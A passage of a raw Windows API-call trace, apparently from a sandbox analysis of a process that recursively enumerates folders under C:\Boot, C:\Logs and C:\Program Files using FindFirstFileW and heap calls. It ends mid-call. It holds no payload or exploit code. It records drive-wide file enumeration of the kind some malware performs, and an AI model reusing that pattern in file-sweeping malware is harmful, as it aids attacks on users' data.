ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.891] GetProcessHeap () returned 0x11a0000 [0077.891] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.892] GetProcessHeap () returned 0x11a0000 [0077.892] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.892] GetProcessHeap () returned 0x11a0000 [0077.892] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.892] GetProcessHeap () returned 0x11a0000 [0077.892] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.892] GetProcessHeap () returned 0x11a0000 [0077.892] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.216] GetProcessHeap () returned 0x11a0000 [0078.216] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.216] GetProcessHeap () returned 0x11a0000 [0078.216] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.217] GetProcessHeap () returned 0x11a0000 [0078.217] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.217] GetProcessHeap () returned 0x11a0000 [0078.217] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0078.218] GetProcessHeap () returned 0x11a0000 [0078.218] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.218] GetProcessHeap () returned 0x11a0000 [0078.219] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.219] GetProcessHeap () returned 0x11a0000 [0078.219] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.219] GetProcessHeap () returned 0x11a0000 [0078.219] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0078.220] GetProcessHeap () returned 0x11a0000 [0078.220] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b00748 [0078.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.221] GetProcessHeap () returned 0x11a0000 [0078.221] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b00748 | out: hHeap=0x11a0000) returned 1 [0078.225] GetProcessHeap () returned 0x11a0000 [0078.225] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.226] GetProcessHeap () returned 0x11a0000 [0078.226] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.227] GetProcessHeap () returned 0x11a0000 [0078.228] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.228] GetProcessHeap () returned 0x11a0000 [0078.228] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0078.229] GetProcessHeap () returned 0x11a0000 [0078.229] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.229] GetProcessHeap () returned 0x11a0000 [0078.229] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.229] GetProcessHeap () returned 0x11a0000 [0078.229] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.229] GetProcessHeap () returned 0x11a0000 [0078.229] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.230] GetProcessHeap () returned 0x11a0000 [0078.230] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.230] GetProcessHeap () returned 0x11a0000 [0078.230] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.231] GetProcessHeap () returned 0x11a0000 [0078.231] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.231] GetProcessHeap () returned 0x11a0000 [0078.231] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.232] GetProcessHeap () returned 0x11a0000 [0078.232] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.232] GetProcessHeap () returned 0x11a0000 [0078.232] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.233] GetProcessHeap () returned 0x11a0000 [0078.233] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.233] GetProcessHeap () returned 0x11a0000 [0078.233] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.233] GetProcessHeap () returned 0x11a0000 [0078.233] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.234] GetProcessHeap () returned 0x11a0000 [0078.234] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.234] GetProcessHeap () returned 0x11a0000 [0078.234] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.235] GetProcessHeap () returned 0x11a0000 [0078.235] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0078.236] GetProcessHeap () returned 0x11a0000 [0078.236] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.236] GetProcessHeap () returned 0x11a0000 [0078.236] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.236] GetProcessHeap () returned 0x11a0000 [0078.236] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.236] GetProcessHeap () returned 0x11a0000 [0078.236] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0078.237] GetProcessHeap () returned 0x11a0000 [0078.237] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0078.237] GetProcessHeap () returned 0x11a0000 [0078.237] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.238] GetProcessHeap () returned 0x11a0000 [0078.238] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b00748 [0078.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x12949b0 [0078.243] GetProcessHeap () returned 0x11a0000 [0078.243] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b00748 | out: hHeap=0x11a0000) returned 1 [0078.243] GetProcessHeap () returned 0x11a0000 [0078.243] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b00748 [0078.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0078.304] GetProcessHeap () returned 0x11a0000 [0078.304] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b00748 | out: hHeap=0x11a0000) returned 1 [0078.305] GetProcessHeap () returned 0x11a0000 [0078.305] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b00748 [0078.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.305] GetProcessHeap () returned 0x11a0000 [0078.305] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b00748 | out: hHeap=0x11a0000) returned 1 [0078.306] GetProcessHeap () returned 0x11a0000 [0078.306] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b00748 [0078.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0078.306] GetProcessHeap () returned 0x11a0000 [0078.306] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0078.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc90e, dwReserved1=0xd10, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0078.306] GetProcessHeap () returned 0x11a0000 [0078.306] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0078.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe70e, dwReserved1=0xb0f, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0078.935] GetProcessHeap () returned 0x11a0000 [0078.935] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0078.936] GetProcessHeap () returned 0x11a0000 [0078.936] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0078.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x347ef68 | out: 